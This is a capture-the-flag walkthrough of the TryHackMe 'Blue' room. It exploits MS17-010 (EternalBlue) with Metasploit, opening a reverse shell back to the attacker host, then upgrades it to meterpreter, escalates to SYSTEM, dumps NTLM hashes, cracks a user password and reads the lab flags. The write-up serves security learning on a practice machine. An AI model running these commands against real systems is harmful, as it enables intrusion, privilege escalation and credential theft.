

TryHackMe | Blue

IP: Changes

IP Address: 10.10.8.2

Link: <https://www.tryhackme.com/room/blue>

Nmap scan

```
drew@ubuntu:~$ nmap 10.10.8.2 --script vuln -A
```

```
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  ssl/ms-wbt-server?
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
|   State: VULNERABLE
|   IDs: CVE:CVE-2012-0152
|   Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
|   Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|   Disclosure date: 2012-03-13
|   References:
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
|     http://technet.microsoft.com/en-us/security/bulletin/ms12-020
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
|   State: VULNERABLE
|   IDs: CVE:CVE-2012-0002
|   Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
|   Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|   Disclosure date: 2012-03-13
|   References:
|     http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|     https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49158/tcp  open  msrpc        Microsoft Windows RPC
49160/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

How many ports are open with a port number under 1000?

3 ports are open under 1000 135,139 and 445

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

Ms17-010.

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.....)

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```

Show options and set the one required value. What is the name of this value? (All caps for submission)

RHOSTS is a required value

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.10.88.128
```

```
RHOST => 10.10.88.128
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
```

```
root@kali:/home/kali/Desktop
File Actions Edit View Help
[+] 10.10.119.66:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.119.66:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.119.66:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.119.66:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.119.66:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.119.66:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.119.66:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.119.66:445 - Sending all but last fragment of exploit packet
[*] 10.10.119.66:445 - Starting non-paged pool grooming
[*] 10.10.119.66:445 - Sending SMBv2 buffers
[*] 10.10.119.66:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.119.66:445 - Sending final SMBv2 buffers.
[*] 10.10.119.66:445 - Sending last fragment of exploit packet!
[*] 10.10.119.66:445 - Receiving response from exploit packet
[+] 10.10.119.66:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.119.66:445 - Sending egg to corrupted connection.
[*] 10.10.119.66:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.119.66
[*] Command shell session 1 opened (10.2.73.95:4444 -> 10.10.119.66:49239) at 2021-03-15 23:14:31 -0700
[+] 10.10.119.66:445 - -----
[+] 10.10.119.66:445 - -----WIN-----
[+] 10.10.119.66:445 - -----

Microsoft Windows [Version 6.1.7601]
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C:\Windows\system32>
```

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  post/multi/manage/shell_to_meterpreter  normal         No     Shell to Meterpreter Upgrade

Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) >
```

Select this (use MODULE_PATH). Show options, what option are we required to change?

SESSION

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions
=====
  Id  Name  Type           Information  Connection
  --  ---  --
  1    shell x64/windows  10.2.73.95:4444 → 10.10.119.66:49239 (10.10.119.66)

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > █
```

Run! If this doesn't work, try completing the exploit from the previous task once more.

```
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.2.73.95:4433
[*] Post module execution completed
```

Once the meterpreter shell conversion completes, select that session for use.

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

C:\Windows\system32> █
```

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this.

```
meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > █
```

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

```
meterpreter > ps

Process List
File Action Edit View Help
-----
PID PPID Name Arch Session User Path
---
0 0 [System Process]
4 0 System x64 0
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
444 704 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
560 552 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
608 552 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
616 600 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
656 600 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
704 608 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
712 608 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
720 608 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
772 704 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
828 704 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
896 704 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
944 704 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1012 656 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\LogonUI.exe
1076 704 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1116 704 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe
1176 704 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1308 704 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1344 704 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1404 704 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1480 704 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xentools\LiteAgent.exe
1620 704 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1660 704 mscorsvw.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
1940 704 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
2104 828 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe
2140 560 conhost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe
2208 1752 powershell.exe x86 0 NT AUTHORITY\SYSTEM C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
2556 704 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
2604 704 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe
2700 704 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe
2712 704 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
2724 1660 mscorsvw.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
2800 704 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
```

Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

```
meterpreter > migrate 2800
[*] Migrating from 844 to 2800 ...
[*] Migration completed successfully.
meterpreter > █
```

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d :::
meterpreter > █
```

Jon

Copy this password hash to a file and research how to crack it. What is the cracked password?

```
[+] Cracked Hashes
```

DB ID	Hash Type	Username	Cracked Password	Method
1	nt	Jon	alqfna22	Single

```
[*] Checking mscash2 hashes already cracked...
[*] Cracking mscash2 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=0aXRIhJC --nolog --config=/usr/share/metasploit-framework/data/jtr/john.conf
hes_tmp20210316-2996-y004fi
Using default input encoding: UTF-8
[*] Cracking mscash2 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=0aXRIhJC --nolog --config=/usr/share/metasploit-framework/data/jtr/john.conf
Using default input encoding: UTF-8
[*] Cracking mscash2 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=0aXRIhJC --nolog --config=/usr/share/metasploit-framework/data/jtr/john.conf
Using default input encoding: UTF-8
[*] Cracking mscash2 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=0aXRIhJC --nolog --config=/usr/share/metasploit-framework/data/jtr/john.conf
ashes_tmp20210316-2996-y004fi
Using default input encoding: UTF-8
[+] Cracked Hashes
```

DB ID	Hash Type	Username	Cracked Password	Method
1	nt	Jon	alqfna22	Single

```
[*] Auxiliary module execution completed
```

Flag1? *This flag can be found at the system root.*

```
meterpreter > dir
Listing: C:\
```

Mode	Size	Type	Last modified	Name
40777/rwxrwxrwx	0	dir	2009-07-13 20:18:56 -0700	\$Recycle.Bin
40777/rwxrwxrwx	0	dir	2009-07-13 22:08:56 -0700	Documents and Settings
40777/rwxrwxrwx	0	dir	2009-07-13 20:20:08 -0700	PerfLogs
40555/r-xr-xr-x	4096	dir	2009-07-13 20:20:08 -0700	Program Files
40555/r-xr-xr-x	4096	dir	2009-07-13 20:20:08 -0700	Program Files (x86)
40777/rwxrwxrwx	4096	dir	2009-07-13 20:20:08 -0700	ProgramData
40777/rwxrwxrwx	0	dir	2018-12-12 20:13:22 -0700	Recovery
40777/rwxrwxrwx	4096	dir	2018-12-12 16:01:17 -0700	System Volume Information
40555/r-xr-xr-x	4096	dir	2009-07-13 20:20:08 -0700	Users
40777/rwxrwxrwx	16384	dir	2009-07-13 20:20:08 -0700	Windows
100666/rw-rw-rw-	24	fil	2018-12-12 20:47:39 -0700	flag1.txt
0000/-----	47912672	fif	1971-07-09 07:10:24 -0700	hiberfil.sys
0000/-----	47912672	fif	1971-07-09 07:10:24 -0700	pagefile.sys

```
meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter >
```

Flag2? *This flag can be found at the location where passwords are stored within Windows.*

Hashes are stored in C:\Windows\System32\config

40777/rwxrwxrwx	4096	dir	2009-07-13 20:20:10 -0700	TxR
100666/rw-rw-rw-	34	fil	2018-12-12 20:48:22 -0700	flag2.txt
40777/rwxrwxrwx	4096	dir	2009-07-13 20:20:10 -0700	systemprofile

```
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}meterpreter >
```

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

```
meterpreter > cd Documents
meterpreter > dir
Listing: C:\Users\Jon\Documents

Mode                Size      Type      Last modified          Name
-----
40777/rwxrwxrwx     0        dir      2018-12-12 20:13:31 -0700  My Music
40777/rwxrwxrwx     0        dir      2018-12-12 20:13:31 -0700  My Pictures
40777/rwxrwxrwx     0        dir      2018-12-12 20:13:31 -0700  My Videos
100666/rw-rw-rw-   402      fil      2018-12-12 20:13:45 -0700  desktop.ini
100666/rw-rw-rw-    37      fil      2018-12-12 20:49:18 -0700  flag3.txt

meterpreter > pwd
C:\Users\Jon\Documents
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter > █
```